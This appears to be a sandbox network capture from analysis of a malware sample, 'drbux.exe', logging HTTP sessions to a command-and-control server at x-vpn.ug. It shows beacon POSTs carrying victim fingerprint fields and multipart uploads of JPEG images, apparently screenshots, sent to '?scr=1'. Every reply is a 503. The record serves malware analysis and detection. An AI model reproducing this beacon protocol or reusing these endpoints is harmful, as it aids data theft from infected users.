Jul 19, 2021 18:36:53.257441044 CEST	20510	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:53 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
307	192.168.2.6	50066	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:53.724073887 CEST	20511	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:53.802143097 CEST	20525	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:53 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
308	192.168.2.6	50067	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:53.740824938 CEST	20512	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040 Host: x-vpn.ug Content-Length: 96659 Cache-Control: no-cache
Jul 19, 2021 18:36:53.740974903 CEST	20512	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 33 33 38 62 37 34 66 37 35 30 62 35 30 34 65 36 30 64 64 39 66 66 34 31 61 65 36 33 30 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------d338b74f750b504e60dd9ff41ae63040Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:53.741215944 CEST	20522	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:53.741343975 CEST	20525	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:53.833802938 CEST	20526	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:53 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:53.833906889 CEST	20529	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:53.833956003 CEST	20531	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:53.834121943 CEST	20534	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:53.834415913 CEST	20537	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:53.834708929 CEST	20539	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:53.834836960 CEST	20542	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:53.835200071 CEST	20545	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
309	192.168.2.6	50068	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:54.004180908 CEST	20603	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:54.098968029 CEST	20611	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:54 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.6	49768	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:38.869405985 CEST	3951	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----907754d41576d1e307241bcfe54a19ab Host: x-vpn.ug Content-Length: 96844 Cache-Control: no-cache
Jul 19, 2021 18:35:38.869496107 CEST	3951	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 39 30 37 37 35 34 64 34 31 35 37 36 64 31 65 33 30 37 32 34 31 62 63 66 65 35 34 61 31 39 61 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------907754d41576d1e307241bcfe54a19abContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:38.869693041 CEST	3961	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:38.869870901 CEST	3964	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:38.961801052 CEST	3965	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:38.962196112 CEST	3968	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:38.962266922 CEST	3985	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:38.962300062 CEST	3990	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:35:39.053987026 CEST	3996	OUT	Data Raw: bf 62 fc c7 1e ee 5a b5 74 55 39 a5 13 27 37 28 bb 98 14 0a 28 ad 0c 42 8a 28 a6 07 d2 36 7f 07 7c 1d 71 63 6f 3b d9 dc 86 92 25 72 16 e5 b1 92 01 a9 bf e1 4b f8 33 fe 7d 6e bf f0 25 ab aa 8f 50 16 1a 3e 94 05 b4 d7 12 5c 22 45 1c 70 ed c9 3e 59 Data Ascii: bZtU9'7((B(6\|qco;%rK3}n%P>\"Ep>Yo`1=5{V~;[8-nG83^Uk0R7LG5,WD(H YVSuU}]%#>#0Un4gcj(EC
Jul 19, 2021 18:35:39.054088116 CEST	4014	OUT	Data Raw: 57 fa db f1 5f 97 73 45 46 9d ef 7d 34 fc ff 00 c8 c2 4d 0e ee 4f 0c 49 e2 04 31 35 a4 57 06 07 40 c7 cc 52 02 9d d8 c7 dd cb a8 ce 7a 91 c5 58 5f 0d 5c f9 af f6 8b bb 3b 6b 68 ed 21 bb 96 ea 67 7f 2e 35 95 43 22 9d aa 58 b1 ce 30 aa 7a 1e c0 9a Data Ascii: W_sEF}4MOI15W@RzX_\;kh!g.5C"X0znE,5Q,;i"H# qkS56uC6H#ITc!Kk\|[W_s2>av_odxL/* iwY"1%$GP#WGe
Jul 19, 2021 18:35:39.054231882 CEST	4035	OUT	Data Raw: 6a b6 3a 26 a1 0d ab 4f 39 d4 66 92 6b 88 b7 6c 8e 28 64 8e 33 d0 9c 6e 57 7e 01 e8 a4 64 81 4d e2 22 af e5 fa 6a 2f 61 2d 3f ad ce 0a 8a ed f4 0f 0e e9 57 5a 53 c0 fa ae 9d a8 79 fa ad 85 bb 4b 6b 1c aa f0 a3 99 43 00 d2 c6 98 dd c7 4c f4 e7 b5 Data Ascii: j:&O9fkl(d3nW~dM"j/a-?WZSyKkCLg}uEsXY%h=fQzT[fN]!fuod,dw0K}1[KM[4p%<0$dQ@Bv~*{qaoopG
Jul 19, 2021 18:35:39.054274082 CEST	4040	OUT	Data Raw: 6a ff 00 f6 c7 ff 00 47 25 75 31 9a e5 3e 2a ff 00 c9 32 d5 ff 00 ed 8f fe 8e 4a f3 30 9f c7 87 aa fc ce 9a df c3 97 a3 3e 68 34 94 77 a2 be d4 f1 02 96 92 96 80 0a 28 a2 98 8f b5 ed af ad 2c 34 3b 19 6f 2e a1 b7 8d a1 8d 43 cd 20 40 4e dc e3 27 Data Ascii: jG%u1>2J0>h4w(,4;o.C @N'&A;ju_%<Siq.'>>dM_OcIm%{k=)if1s\1C{k('\vFOAT-6v*M

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
310	192.168.2.6	50070	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:54.299439907 CEST	20612	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040 Host: x-vpn.ug Content-Length: 96659 Cache-Control: no-cache
Jul 19, 2021 18:36:54.299726009 CEST	20612	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 33 33 38 62 37 34 66 37 35 30 62 35 30 34 65 36 30 64 64 39 66 66 34 31 61 65 36 33 30 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------d338b74f750b504e60dd9ff41ae63040Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:54.300322056 CEST	20622	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:54.300785065 CEST	20625	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:54.382633924 CEST	20626	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:54 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:54.383788109 CEST	20629	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:54.384090900 CEST	20632	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:54.384273052 CEST	20634	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:54.384773970 CEST	20637	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:54.385256052 CEST	20640	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
